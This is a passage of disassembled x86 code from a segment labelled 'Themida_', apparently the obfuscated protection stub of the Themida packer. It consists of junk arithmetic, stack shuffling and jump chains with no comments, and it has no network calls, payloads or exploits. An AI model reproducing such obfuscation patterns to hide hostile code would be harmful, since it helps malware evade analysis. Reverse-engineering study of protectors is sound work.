loc_5A93CB:				; CODE XREF: Themida_:005A335Dj
		shr	eax, 5
		xor	eax, 0AEB7C0Ch
		jns	loc_5A0A72
		jmp	loc_59B1E3
; ---------------------------------------------------------------------------
		sub	esi, 4
		push	esi
		mov	cl, 0ECh


loc_5A93E4:				; CODE XREF: Themida_:005A3A8Cj
		mov	[esp], ebp
		mov	ebp, 44B22367h
		and	ebp, 3F2C2C40h
		jb	loc_59E744
		xor	ebp, 60D9073Dh
		jnz	loc_5A8A34
		inc	ebp
		jg	loc_5AEE6A
		mov	dh, dl
		push	edx


loc_5A940E:				; CODE XREF: Themida_:005A3245j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_59CECC
; ---------------------------------------------------------------------------


loc_5A941D:				; CODE XREF: Themida_:005AF6B7j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_5A5F82
; ---------------------------------------------------------------------------


loc_5A942F:				; CODE XREF: Themida_:005A567Bj
		push	edx
		jmp	loc_59B1EB
; ---------------------------------------------------------------------------


loc_5A9435:				; CODE XREF: Themida_:005A254Bj
		xor	ebx, 4D689287h
		jmp	loc_5ACFC9
; ---------------------------------------------------------------------------


loc_5A9440:				; CODE XREF: Themida_:005A068Fj
		sub	eax, 0F33DE8D5h
		mov	esi, eax
		pop	eax
		mov	eax, esi
		jmp	loc_59BF86
; ---------------------------------------------------------------------------


loc_5A944F:				; CODE XREF: Themida_:0059F8EDj
		or	di, 7F31h
		dec	di
		not	di
		jmp	loc_5A27CF
; ---------------------------------------------------------------------------


loc_5A945E:				; CODE XREF: Themida_:005AE81Aj
		push	esi
		mov	esi, esp
		jmp	loc_5AB9F0
; ---------------------------------------------------------------------------


loc_5A9466:				; CODE XREF: Themida_:0059CBFEj
		push	570Dh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5AFB44
; ---------------------------------------------------------------------------


loc_5A947B:				; CODE XREF: Themida_:loc_5A3E91j
		add	ecx, 0F1AE63ECh
		jmp	loc_5A721D
; ---------------------------------------------------------------------------


loc_5A9486:				; CODE XREF: Themida_:00599B3Bj
		pop	edx
		add	esi, ebx
		pop	ebx
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A2B8E
; ---------------------------------------------------------------------------


loc_5A94A6:				; CODE XREF: Themida_:0059A4B2j
		push	ecx
		mov	edi, [esp]
		add	esp, 4
		push	edi
		sub	esp, 4
		push	3DAAh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_5A6251
; ---------------------------------------------------------------------------


loc_5A94C8:				; CODE XREF: Themida_:0059A6E6j
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_5A84A7
; ---------------------------------------------------------------------------


loc_5A94D3:				; CODE XREF: Themida_:005A1FF8j
		pop	eax
		pop	ebx
		jmp	loc_5ABC6D
; ---------------------------------------------------------------------------


loc_5A94DA:				; CODE XREF: Themida_:005AA7F0j
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5AADA6
; ---------------------------------------------------------------------------


loc_5A94ED:				; CODE XREF: Themida_:005A8BFFj
		pop	esi
		push	ebx
		push	292B3C62h
		pop	ebx
		shr	ebx, 2
		jz	loc_59FA6A
		add	ebx, 354166h
		jnp	loc_5992FE
		push	39FEh
		mov	[esp], edi
		mov	edi, 19AC0EEh
		xor	ebx, edi
		mov	edi, [esp]
		jmp	loc_5AE577
; ---------------------------------------------------------------------------


loc_5A9521:				; CODE XREF: Themida_:loc_5ABE2Bj
		add	esi, 11BA782Dh
		jnp	loc_59CD67
		push	edi
		mov	edi, 12D95568h
		sub	edi, 1EA6469Fh
		sub	esi, edi
		jmp	loc_5A013A
; ---------------------------------------------------------------------------


loc_5A9540:				; CODE XREF: Themida_:005A5DECj
		add	eax, esi
		sub	eax, 61816184h
		pop	esi
		push	ebp
		jmp	loc_5A99D2
; ---------------------------------------------------------------------------


loc_5A954E:				; CODE XREF: Themida_:005A119Cj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5A261D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5A29DE
; ---------------------------------------------------------------------------


loc_5A9562:				; CODE XREF: Themida_:loc_5A26C6j
					; Themida_:005AFBADj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	ebp, 4
		push	2C50h
		mov	[esp], esi
		mov	esi, 2
		sub	ebp, 6642669Ch
		sub	ebp, esi
		sub	esp, 4
		jmp	loc_5AE2C3
; ---------------------------------------------------------------------------


loc_5A958F:				; CODE XREF: Themida_:005A37AFj
		pop	ecx
		pop	esi
		add	ebx, 469741E0h
		sub	ebx, 1F700D0Fh
		add	ebx, ebp
		add	ebx, 1F700D0Fh
		push	edi
		mov	edi, 469741E0h
		sub	ebx, edi
		pop	edi
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		imul	ecx, eax
		jmp	loc_59C24D
; ---------------------------------------------------------------------------


loc_5A95BB:				; CODE XREF: Themida_:00598FF3j
					; Themida_:0059FA1Cj
		mov	eax, 0E800AE5h
		push	eax
		inc	dword ptr [esp]
		pop	eax
		jmp	loc_5A70DF
; ---------------------------------------------------------------------------


loc_5A95CA:				; CODE XREF: Themida_:005AB2A4j
		and	edi, 183D07FBh
		neg	edi
		jmp	loc_59D6BE
; ---------------------------------------------------------------------------


loc_5A95D7:				; CODE XREF: Themida_:005AA470j
		pop	eax
		push	4CD6h
		mov	[esp], esi
		push	esp
		pop	esi
		sub	esp, 4
		jmp	loc_59E328
; ---------------------------------------------------------------------------


loc_5A95EA:				; CODE XREF: Themida_:005A7659j
		push	4
		jmp	loc_5A90B2
; ---------------------------------------------------------------------------


loc_5A95F4:				; CODE XREF: Themida_:005AF90Cj
		and	ebx, 7C6F2EB9h
		push	ebx
		dec	dword ptr [esp]
		pop	ebx
		push	27F8h
		mov	[esp], ebp
		mov	ebp, 11D87B1Ah
		push	esi
		mov	esi, 0E8BF0127h
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebx, ebp
		pop	ebp
		sub	eax, 56275064h
		add	eax, ebx
		add	eax, 56275064h
		pop	ebx
		push	2923h
		mov	[esp], edx
		push	edi
		push	386Ch
		jmp	loc_5A6881
; ---------------------------------------------------------------------------


loc_5A9640:				; CODE XREF: Themida_:005A53F9j
		sub	edx, ebx
		pop	ebx
		xor	edx, 126F0722h
		shr	edx, 7
		jmp	loc_5A0312
; ---------------------------------------------------------------------------


loc_5A9651:				; CODE XREF: Themida_:005A5E0Ej
		mov	ebx, ecx
		jmp	loc_5AEA75
; ---------------------------------------------------------------------------


loc_5A9658:				; CODE XREF: Themida_:0059C84Fj
		sub	eax, 2BB84577h
		pop	esi
		jmp	loc_5A6FEE
; ---------------------------------------------------------------------------


loc_5A9663:				; CODE XREF: Themida_:005AFADBj
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A9668:				; CODE XREF: Themida_:loc_5AF557j
		shl	edi, 8
		jns	loc_59FCD5
		jmp	loc_5AA171
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_5ACD3C
; ---------------------------------------------------------------------------


loc_5A9686:				; CODE XREF: Themida_:0059F335j
		xor	eax, ecx
		push	7587h
		mov	[esp], eax
		push	29FEh
		mov	[esp], edi
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_59D2A4
; ---------------------------------------------------------------------------


loc_5A96B4:				; CODE XREF: Themida_:005A2D60j
		mov	ecx, 0AB460AD5h
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A036E
; ---------------------------------------------------------------------------


loc_5A96C6:				; CODE XREF: Themida_:005A45C8j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 5A533ED3h
		add	edi, 0D1D1434h
		sub	edi, eax
		sub	edi, 0D1D1434h
		mov	eax, [esp]
		add	esp, 4
		pop	ebp
		xchg	edi, [esp]
		jmp	loc_5A395B
; ---------------------------------------------------------------------------


loc_5A96EE:				; CODE XREF: Themida_:005A9E90j
		pop	ebp
		add	ebx, 29C46E1Bh
		add	ebx, esi
		sub	ebx, 29C46E1Bh
		jmp	loc_5AFB55
; ---------------------------------------------------------------------------


loc_5A9702:				; CODE XREF: Themida_:005A3CE5j
		pop	ebp
		jmp	loc_5AB451
; ---------------------------------------------------------------------------


loc_5A9708:				; CODE XREF: Themida_:005A3D53j
		add	eax, 4
		jmp	loc_5A3667
; ---------------------------------------------------------------------------


loc_5A9712:				; CODE XREF: Themida_:005A6109j
		push	6336h
		jmp	loc_59BF5E
; ---------------------------------------------------------------------------


loc_5A971C:				; CODE XREF: Themida_:005A80C2j
		mov	eax, 2F8A4F0Ah
		sub	dword ptr [esp+8], 7EDC5AA0h
		add	[esp+8], eax
		jmp	loc_5A268C
; ---------------------------------------------------------------------------


loc_5A9732:				; CODE XREF: Themida_:005AA8D1j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_59E3CD
; ---------------------------------------------------------------------------


loc_5A9749:				; CODE XREF: Themida_:0059A6A1j
		push	edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_59EA57
; ---------------------------------------------------------------------------


loc_5A9756:				; CODE XREF: Themida_:005A1C69j
		sub	al, 0C9h
		pop	dx
		sub	al, bl
		push	dx
		jmp	loc_5AF5D7
; ---------------------------------------------------------------------------


loc_5A9763:				; CODE XREF: Themida_:0059F8B3j
		pop	esi
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 21D60E2Dh
		dec	eax
		inc	eax
		jle	loc_5A2759
		shr	eax, 6
		jmp	loc_59D1FA
; ---------------------------------------------------------------------------


loc_5A978B:				; CODE XREF: Themida_:005AC3F7j
		add	esi, 28986918h
		add	esi, 3E625214h
		sub	esi, ebp
		push	ebx
		mov	ebx, 28915DF1h
		xor	ebx, 16F30FE5h
		sub	esi, ebx
		pop	ebx
		sub	esi, 28986918h
		pop	ebp
		pop	eax
		push	312Bh
		mov	[esp], ecx
		jmp	loc_5A4497
; ---------------------------------------------------------------------------


loc_5A97BD:				; CODE XREF: Themida_:00598B7Aj
					; Themida_:loc_5A4136j
		sub	ebx, 3BED5547h
		add	ebx, ebp
		jmp	loc_5AA31C
; ---------------------------------------------------------------------------


loc_5A97CA:				; CODE XREF: Themida_:0059A647j
		inc	ecx
		jle	loc_599FB8
		sub	ecx, 0B74A92D7h
		mov	esi, ecx
		pop	ecx
		and	cl, 4Dh
		push	edi


loc_5A97DE:				; CODE XREF: Themida_:0059B520j
		mov	[esp], dx
		mov	dl, 7Fh
		push	ecx
		mov	cl, 9Dh
		or	cl, 54h
		inc	cl
		add	cl, 3Bh
		sub	bl, cl
		jmp	loc_5A3527
; ---------------------------------------------------------------------------


loc_5A97F6:				; CODE XREF: Themida_:005ABF14j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A8993
; ---------------------------------------------------------------------------


loc_5A9804:				; CODE XREF: Themida_:005A8BC8j
		push	edi
		jmp	loc_59DD75
; ---------------------------------------------------------------------------


loc_5A980A:				; CODE XREF: Themida_:005A8E09j
		push	edx
		jmp	loc_5ABB48
; ---------------------------------------------------------------------------


loc_5A9810:				; CODE XREF: Themida_:005AA01Bj
					; Themida_:loc_5AA0F2j
		or	ebp, 6D3B3F23h
		jmp	loc_5A6100
; ---------------------------------------------------------------------------


loc_5A981B:				; CODE XREF: Themida_:005A5CB2j
		mov	[esp], ecx
		jmp	loc_5A1222
; ---------------------------------------------------------------------------


loc_5A9823:				; CODE XREF: Themida_:0059EC12j
		shr	edx, 1
		jmp	loc_5A63B4
; ---------------------------------------------------------------------------


loc_5A982A:				; CODE XREF: Themida_:0059F504j
		mov	eax, 2
		sub	edi, eax
		jmp	loc_5A3E5E
; ---------------------------------------------------------------------------


loc_5A9836:				; CODE XREF: Themida_:0059E9ADj
		add	esi, 113E3F7Eh
		pop	ecx
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	51D4h
		mov	[esp], edx
		mov	edx, 0
		mov	ebx, edx
		pop	edx
		jmp	loc_59BF86
; ---------------------------------------------------------------------------


loc_5A9861:				; CODE XREF: Themida_:005ACF06j
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5A0585
; ---------------------------------------------------------------------------


loc_5A986F:				; CODE XREF: Themida_:005A5DB4j
		add	ecx, edi
		pop	edi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_59A009
; ---------------------------------------------------------------------------


loc_5A9884:				; CODE XREF: Themida_:005A9CB7j
		add	esp, 4
		push	ebp
		mov	ebp, 65964AC5h
		push	eax
		jmp	loc_5A90CB
; ---------------------------------------------------------------------------


loc_5A9896:				; CODE XREF: Themida_:005ACD69j
					; Themida_:005AF63Dj
		add	esi, 843769Eh
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_598A29
; ---------------------------------------------------------------------------


loc_5A98A9:				; CODE XREF: Themida_:0059E60Fj
		sub	esp, 2
		mov	[esp], bx
		push	423Ah
		mov	[esp], edx
		jmp	loc_5A5CAD
; ---------------------------------------------------------------------------


loc_5A98C0:				; CODE XREF: Themida_:loc_59FE0Ej
		jmp	loc_59CC12
; ---------------------------------------------------------------------------


loc_5A98C5:				; DATA XREF: Themida_:005987CCo
		mov	ax, fs:[edx]
		jmp	loc_5A795A
; ---------------------------------------------------------------------------


loc_5A98CE:				; CODE XREF: Themida_:005A6BAAj
		mov	ebp, 41B14184h
		add	edi, ebp
		jmp	loc_59E3A8
; ---------------------------------------------------------------------------


loc_5A98DA:				; CODE XREF: Themida_:005A4131j
		not	dh
		add	dh, 0Ch
		jb	loc_5A8A6C
		and	dh, 0F2h
		or	dh, 0C2h
		jp	loc_5AB747
		not	dh
		xor	dh, 0C8h
		push	ebx
		push	eax
		mov	al, dh
		jmp	loc_59F58C
; ---------------------------------------------------------------------------


loc_5A98FF:				; CODE XREF: Themida_:0059A3C1j
		mov	[esp], edx
		push	eax
		mov	eax, 0AB826E9h
		mov	edx, eax
		pop	eax
		shr	edx, 6
		jmp	loc_5A05C1
; ---------------------------------------------------------------------------


loc_5A9913:				; CODE XREF: Themida_:005A7BACj
		pop	ecx
		jmp	loc_5A3D85
; ---------------------------------------------------------------------------


loc_5A9919:				; CODE XREF: Themida_:0059AD91j
		add	esp, 4
		jmp	loc_5A0661
; ---------------------------------------------------------------------------


loc_5A9921:				; CODE XREF: Themida_:0059F823j
		add	esi, eax
		jmp	loc_59A055
; ---------------------------------------------------------------------------


loc_5A9928:				; CODE XREF: Themida_:005A8264j
		mov	eax, ecx
		push	eax
		jmp	loc_5AE310
; ---------------------------------------------------------------------------


loc_5A9930:				; CODE XREF: Themida_:005A84E3j
					; Themida_:005AD360j
		push	esp
		jmp	loc_599EAA
; ---------------------------------------------------------------------------


loc_5A9936:				; CODE XREF: Themida_:005A40F5j
		dec	bh
		jmp	loc_5A4D09
; ---------------------------------------------------------------------------


loc_5A993D:				; CODE XREF: Themida_:loc_5A11A1j
		dec	esi
		jg	loc_5ABE2B
		jmp	loc_599A46
; ---------------------------------------------------------------------------
		mov	[esp], ebx
		mov	bh, bl
		push	eax


loc_5A994F:				; CODE XREF: Themida_:005AB4ADj
		push	esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 3231321Dh
		xor	[esp+4], ebp
		pop	ebp
		jmp	loc_5AEE28
; ---------------------------------------------------------------------------


loc_5A9965:				; CODE XREF: Themida_:005A7483j
		mov	[esp], ebx
		push	0A1A7F69h
		pop	ebx
		shl	ebx, 2
		push	eax
		jmp	loc_5AA962
; ---------------------------------------------------------------------------


loc_5A9977:				; CODE XREF: Themida_:00598FD2j
		push	esi
		mov	esi, 69FD2937h
		not	esi
		jmp	loc_598CA9
; ---------------------------------------------------------------------------


loc_5A9984:				; CODE XREF: Themida_:005ACF4Bj
		jmp	loc_5AAB0C
; ---------------------------------------------------------------------------


loc_5A9989:				; CODE XREF: Themida_:005AEF8Fj
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5A7189
; ---------------------------------------------------------------------------


loc_5A9994:				; CODE XREF: Themida_:00599376j
		pop	ebx
		push	esi
		push	ebx
		mov	ebx, 15071E1Bh
		push	ebx
		jmp	loc_5AEB0D
; ---------------------------------------------------------------------------


loc_5A99A2:				; CODE XREF: Themida_:0059CD48j
		mov	ebx, 542C13B1h
		xor	edx, ebx
		pop	ebx
		jmp	loc_5AFA55
; ---------------------------------------------------------------------------


loc_5A99AF:				; CODE XREF: Themida_:005AB2D5j
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		jmp	loc_59BC7A
; ---------------------------------------------------------------------------


loc_5A99C0:				; CODE XREF: Themida_:0059955Ej
		push	edx
		push	esi
		jmp	loc_5A5CF5
; ---------------------------------------------------------------------------


loc_5A99C7:				; CODE XREF: Themida_:loc_5A61E8j
		add	esi, 58BD57FAh
		jmp	loc_5AD0F3
; ---------------------------------------------------------------------------


loc_5A99D2:				; CODE XREF: Themida_:005A9549j
		mov	ebp, 2EE2898Dh
		jmp	loc_59A7D5
; ---------------------------------------------------------------------------


loc_5A99DC:				; CODE XREF: Themida_:0059B207j
					; Themida_:005AC753j
		sub	edi, 1
		sub	esp, 4
		jmp	loc_5A91FC
; ---------------------------------------------------------------------------


loc_5A99EA:				; CODE XREF: Themida_:005A51D4j
		push	5E42h
		mov	[esp], ecx
		jmp	loc_5A533E
; ---------------------------------------------------------------------------


loc_5A99F7:				; CODE XREF: Themida_:005A01D1j
		or	esi, 245A1737h
		shr	esi, 5
		sub	esi, 13FF3FBh
		jmp	loc_5A619C
; ---------------------------------------------------------------------------


loc_5A9A0B:				; CODE XREF: Themida_:005A6FCEj
					; Themida_:005A7607j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2Ch
		jmp	loc_5AEF1B
; ---------------------------------------------------------------------------


loc_5A9A1E:				; CODE XREF: Themida_:loc_5A1C0Bj
		add	ebx, 6588C861h
		mov	ebp, ebx
		jmp	loc_5AAC0B
; ---------------------------------------------------------------------------


loc_5A9A2B:				; CODE XREF: Themida_:005A43C9j
		push	ebx
		mov	bh, 0D0h
		xor	bh, 0Eh
		or	cl, bh
		pop	ebx
		sub	cl, 0FFh
		add	cl, 38h
		jmp	loc_59F215
; ---------------------------------------------------------------------------


loc_5A9A3F:				; CODE XREF: Themida_:0059CB64j
		add	esp, 4
		push	edx
		mov	edx, 143D16CFh
		sub	edx, 0F724A1h
		jmp	loc_5AD0C1
; ---------------------------------------------------------------------------


loc_5A9A53:				; CODE XREF: Themida_:0059BACDj
		mov	edi, 4
		jmp	loc_5A9F12
; ---------------------------------------------------------------------------


loc_5A9A5D:				; CODE XREF: Themida_:0059FD25j
		add	dword ptr [esp+4], 1F7C7080h
		sub	[esp+4], eax
		jmp	loc_5ACB9C
; ---------------------------------------------------------------------------


loc_5A9A6E:				; CODE XREF: Themida_:005A6F92j
		mov	edi, esp
		add	edi, 4
		jmp	loc_59EB3B
; ---------------------------------------------------------------------------


loc_5A9A7B:				; CODE XREF: Themida_:005ADC68j
		pop	esp
		jmp	loc_5AE0E0
; ---------------------------------------------------------------------------


loc_5A9A81:				; CODE XREF: Themida_:0059DFF9j
		add	esp, 4
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5A36D7
; ---------------------------------------------------------------------------


loc_5A9A95:				; CODE XREF: Themida_:005AD80Bj
		inc	dx
		sub	esp, 2
		mov	[esp], bp
		mov	bp, 793Ah
		or	dx, bp
		pop	bp
		jmp	loc_5A8389
; ---------------------------------------------------------------------------


loc_5A9AAC:				; CODE XREF: Themida_:005A70A1j
		mov	edi, 45387BACh
		sub	edi, 6F1855EAh
		jmp	loc_5A871E
; ---------------------------------------------------------------------------


loc_5A9ABC:				; CODE XREF: Themida_:005A934Cj
		pop	esi
		jmp	loc_5A1672
; ---------------------------------------------------------------------------


loc_5A9AC2:				; CODE XREF: Themida_:005A0A1Ej
		pop	edx
		add	bl, cl
		sub	bl, 59h
		pop	cx
		movzx	eax, al
		push	small 3A5Ah
		mov	[esp], ax
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A9ADA:				; CODE XREF: Themida_:005AF832j
		sub	edi, 4
		push	edi
		jmp	loc_59B1C5
; ---------------------------------------------------------------------------


loc_5A9AE6:				; CODE XREF: Themida_:0059D9C9j
		xchg	edi, [esp]
		jmp	loc_5AD87D
; ---------------------------------------------------------------------------


loc_5A9AEE:				; CODE XREF: Themida_:005AB686j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_5A53E6
; ---------------------------------------------------------------------------


loc_5A9AFB:				; CODE XREF: Themida_:005AAD8Fj
		push	eax
		mov	eax, 37FD59DEh
		shl	eax, 6
		jnp	loc_5AC4A0
		inc	eax
		jp	loc_59D193
		mov	edx, ecx
		pop	esi


loc_5A9B14:				; CODE XREF: Themida_:loc_599059j
					; Themida_:0059E1B9j
		shr	dl, 2
		dec	dl
		jmp	loc_5A79EC
; ---------------------------------------------------------------------------


loc_5A9B1E:				; CODE XREF: Themida_:005A4C7Ej
		push	eax
		push	ebp
		push	73DC1BADh
		jmp	loc_59E142
; ---------------------------------------------------------------------------


loc_5A9B2A:				; CODE XREF: Themida_:00599114j
		add	esi, 4
		jmp	loc_5AEACE
; ---------------------------------------------------------------------------


loc_5A9B35:				; CODE XREF: Themida_:005A4319j
		push	esp
		pop	edi
		push	53Eh
		mov	[esp], eax
		mov	eax, 4
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, 5FC213D8h
		jmp	loc_59C615
; ---------------------------------------------------------------------------


loc_5A9B57:				; CODE XREF: Themida_:005AF815j
		sub	ecx, 7C9DA0E2h
		mov	ebp, ecx
		pop	ecx
		jmp	loc_5ADDDD
; ---------------------------------------------------------------------------


loc_5A9B65:				; CODE XREF: Themida_:0059E498j
		pop	ebx
		mov	[eax], ecx
		pop	eax
		pop	ecx
		jmp	loc_59E7BE
; ---------------------------------------------------------------------------


loc_5A9B6F:				; CODE XREF: Themida_:0059B952j
		push	edx
		mov	edx, 40544ABEh
		or	edx, 7E5D1BFBh
		shl	edx, 2
		shr	edx, 5
		jmp	loc_5A45E7
; ---------------------------------------------------------------------------


loc_5A9B86:				; CODE XREF: Themida_:0059CEB8j
		mov	edx, 61B9649Ch
		mov	ecx, 61B9649Dh
		sub	ecx, edx
		jmp	loc_5A0115
; ---------------------------------------------------------------------------


loc_5A9B97:				; CODE XREF: Themida_:005AE6B1j
		and	ecx, 1B73484Ah
		ja	loc_59B552
		inc	ecx
		jg	loc_59BAC5
		jmp	loc_5AC64A
; ---------------------------------------------------------------------------


loc_5A9BAF:				; CODE XREF: Themida_:loc_5A28D2j
		push	edx
		mov	edx, 71682ABDh
		xor	esi, edx
		mov	edx, [esp]
		add	esp, 4
		mov	ebp, esi
		pop	esi
		push	ebp
		mov	ebp, 3C345579h
		mov	eax, 32890D0Dh
		jmp	loc_5A0C25
; ---------------------------------------------------------------------------


loc_5A9BD0:				; CODE XREF: Themida_:0059BA19j
		push	eax
		jmp	loc_5ABB8B
; ---------------------------------------------------------------------------


loc_5A9BD6:				; CODE XREF: Themida_:005A6941j
		jmp	loc_5AABF1
; ---------------------------------------------------------------------------


loc_5A9BDB:				; CODE XREF: Themida_:0059E3C1j
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A9BE0:				; CODE XREF: Themida_:005A00C7j
		add	edi, 46EF22A9h
		and	edi, 4C874AFAh
		jnz	loc_5AD571
		or	edi, 183F156Dh
		sub	al, 40h
		mov	dh, 0E7h


loc_5A9BFC:				; CODE XREF: Themida_:0059E7ADj
		pop	edx
		add	ebx, ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 42090643h
		add	ebx, edi
		jmp	loc_5AD9D1
; ---------------------------------------------------------------------------


loc_5A9C14:				; CODE XREF: Themida_:005AA67Bj
		mov	ebx, [esp]
		push	eax
		jmp	loc_5ADDB1
; ---------------------------------------------------------------------------


loc_5A9C1D:				; CODE XREF: Themida_:005995CDj
		add	eax, ebx
		pop	ebx
		mov	ebp, eax
		mov	eax, [esp]
		push	27F9h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		jmp	loc_599E8D
; ---------------------------------------------------------------------------


loc_5A9C3B:				; CODE XREF: Themida_:0059A8EFj
					; Themida_:005AE6BDj
		inc	eax
		jmp	loc_598B90
; ---------------------------------------------------------------------------


loc_5A9C41:				; CODE XREF: Themida_:005A3DE9j
		mov	ebp, 5317151Fh
		shl	ebp, 3
		jp	loc_5A8488
		not	ebp
		xor	ebp, 3BE66E6Ah
		sub	ebp, 3D9EF6FDh
		mov	edx, ebp
		pop	ebp
		add	edx, 4EE26D5Ah
		shl	edx, 6
		add	edx, 1A597210h
		shl	edx, 1
		jmp	loc_59D270
; ---------------------------------------------------------------------------


loc_5A9C76:				; CODE XREF: Themida_:0059951Dj
		mov	edi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edi
		jmp	loc_5A4377
; ---------------------------------------------------------------------------


loc_5A9C8F:				; CODE XREF: Themida_:0059A084j
		mov	[esp], ebp
		push	ebx
		push	6BBE1B1Bh
		jmp	loc_5AC96F
; ---------------------------------------------------------------------------


loc_5A9C9D:				; CODE XREF: Themida_:005AC148j
		sub	esp, 4
		mov	[esp], ebx
		push	4C3A0E11h
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A9884
; ---------------------------------------------------------------------------


loc_5A9CBC:				; CODE XREF: Themida_:005A705Dj
		pop	ebx
		add	al, ch
		jmp	loc_5ACE1A
; ---------------------------------------------------------------------------


loc_5A9CC4:				; CODE XREF: Themida_:0059A1C6j
		jns	loc_599F4B
		or	edi, 438336Ch
		jmp	loc_5A5F56
; ---------------------------------------------------------------------------


loc_5A9CD5:				; CODE XREF: Themida_:0059D280j
		inc	eax
		shr	eax, 8
		and	eax, 5E0B0DD4h
		neg	eax
		xor	eax, 0B646ED29h
		sub	ebp, eax
		mov	eax, [esp]
		jmp	loc_5A2C5C
; ---------------------------------------------------------------------------


loc_5A9CEF:				; CODE XREF: Themida_:0059B2BCj
		push	esp
		pop	ecx
		push	edx
		mov	edx, 4
		add	ecx, 492F74D9h
		add	ecx, edx
		sub	ecx, 492F74D9h
		jmp	loc_5AF6BC
; ---------------------------------------------------------------------------


loc_5A9D0A:				; CODE XREF: Themida_:005AE14Cj
		sub	esi, 6B604F99h
		jnp	loc_59C8ED
		xor	esi, 0B4A6D0E3h
		mov	edx, esi
		pop	esi
		sub	ebx, edx
		jmp	loc_5AB766
; ---------------------------------------------------------------------------


loc_5A9D26:				; CODE XREF: Themida_:0059E72Fj
		jo	loc_5A0D01
		neg	eax
		jl	loc_59DB02
		xor	eax, 67A1525Eh
		xor	eax, 23F25F76h
		mov	esi, eax
		pop	eax
		jmp	loc_5A2C21
; ---------------------------------------------------------------------------


loc_5A9D46:				; CODE XREF: Themida_:0059BD32j
		sub	eax, 166932F1h
		sub	eax, 645014E4h
		xor	[eax], ebx
		pop	eax
		jmp	loc_5A65A2
; ---------------------------------------------------------------------------


loc_5A9D58:				; CODE XREF: Themida_:005A7D95j
		add	esp, 4
		add	ebp, 4
		jmp	loc_59EB06
; ---------------------------------------------------------------------------


loc_5A9D66:				; CODE XREF: Themida_:005AC389j
		xchg	ecx, [esp]
		jmp	loc_5AF8FB
; ---------------------------------------------------------------------------


loc_5A9D6E:				; CODE XREF: Themida_:005AEB21j
		push	ebx
		mov	ebx, 74A97845h
		mov	ecx, ebx
		pop	ebx
		push	ebx
		mov	ebx, 78316A1Dh
		jmp	loc_5AB0F6
; ---------------------------------------------------------------------------


loc_5A9D82:				; CODE XREF: Themida_:005A75E9j
		neg	ebx
		xor	ebx, 84E432BBh
		sub	ecx, ebx
		pop	ebx
		jmp	loc_5A1517
; ---------------------------------------------------------------------------


loc_5A9D92:				; CODE XREF: Themida_:005A012Cj
		push	ebp
		push	ebx
		mov	ebx, 1BFCDCDEh
		mov	ebp, ebx
		pop	ebx
		add	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_59C660
; ---------------------------------------------------------------------------


loc_5A9DA6:				; CODE XREF: Themida_:0059D91Dj
		sub	ecx, eax
		pop	eax
		sub	ecx, 1746197Dh
		xor	ecx, 6F33417h
		sub	eax, ecx
		pop	ecx
		add	eax, ecx
		push	ebx
		mov	ebx, 438194Ch
		inc	ebx
		jmp	loc_5ADB49
; ---------------------------------------------------------------------------


loc_5A9DC6:				; CODE XREF: Themida_:005AA712j
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esi, 4
		push	edx
		mov	edx, 4
		jmp	loc_5AF92B
; ---------------------------------------------------------------------------


loc_5A9DE2:				; CODE XREF: Themida_:loc_5A4F0Bj
		not	eax
		add	eax, 0CE517951h
		push	0
		jmp	loc_5A2B37
; ---------------------------------------------------------------------------


loc_5A9DF3:				; CODE XREF: Themida_:0059B5C9j
		xor	ebp, 3E107345h
		xor	ebp, 76753226h
